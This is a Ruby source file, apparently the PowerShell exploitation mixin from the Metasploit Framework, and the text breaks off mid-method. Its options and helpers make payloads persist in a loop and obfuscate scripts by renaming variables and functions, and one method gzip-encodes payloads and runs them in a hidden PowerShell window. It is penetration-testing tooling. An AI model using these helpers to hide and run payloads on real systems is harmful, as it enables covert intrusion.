# -*- coding: binary -*- require 'rex/exploitation/powershell' module Msf module Exploit::Powershell class PshScript < Rex::Exploitation::Powershell::Script end def initialize(info = {}) super register_advanced_options( [ OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]), OptBool.new('PSH::old_technique', [true, 'Use powershell 1.0', false]), OptBool.new('PSH::run_wow64', [ false, 'Execute powershell in 32bit compatibility mode, payloads need x86 arch', false ]), OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]), OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]), OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]), OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]), ], self.class) end # # Reads script into a PshScript # def read_script(script_path) return PshScript.new(script_path) end # # Insert substitutions into the powershell script # If script is a path to a file then read the file # otherwise treat it as the contents of a file # def make_subs(script, subs) if ::File.file?(script) script = ::File.read(script) end subs.each do |set| script.gsub!(set[0],set[1]) end # if datastore['VERBOSE'] # print_good("Final Script: ") # script.each_line {|l| print_status("\t#{l}")} # end return script end # # Return an array of substitutions for use in make_subs # def process_subs(subs) return [] if subs.nil? or subs.empty? new_subs = [] subs.split(';').each do |set| new_subs << set.split(',', 2) end return new_subs end # # Return a gzip compressed powershell script # Will invoke PSH modifiers as enabled # def compress_script(script_in, eof = nil) # Build script object psh = PshScript.new(script_in) # Invoke enabled modifiers datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k| mod_method = k.split('::').last.intern psh.send(mod_method) end return psh.compress_code(eof) end # # Runs powershell in hidden window raising interactive proc msg # def run_hidden_psh(ps_code,ps_bin='powershell.exe') ps_args = " -e #{ compress_script(ps_code) } " ps_wrapper = <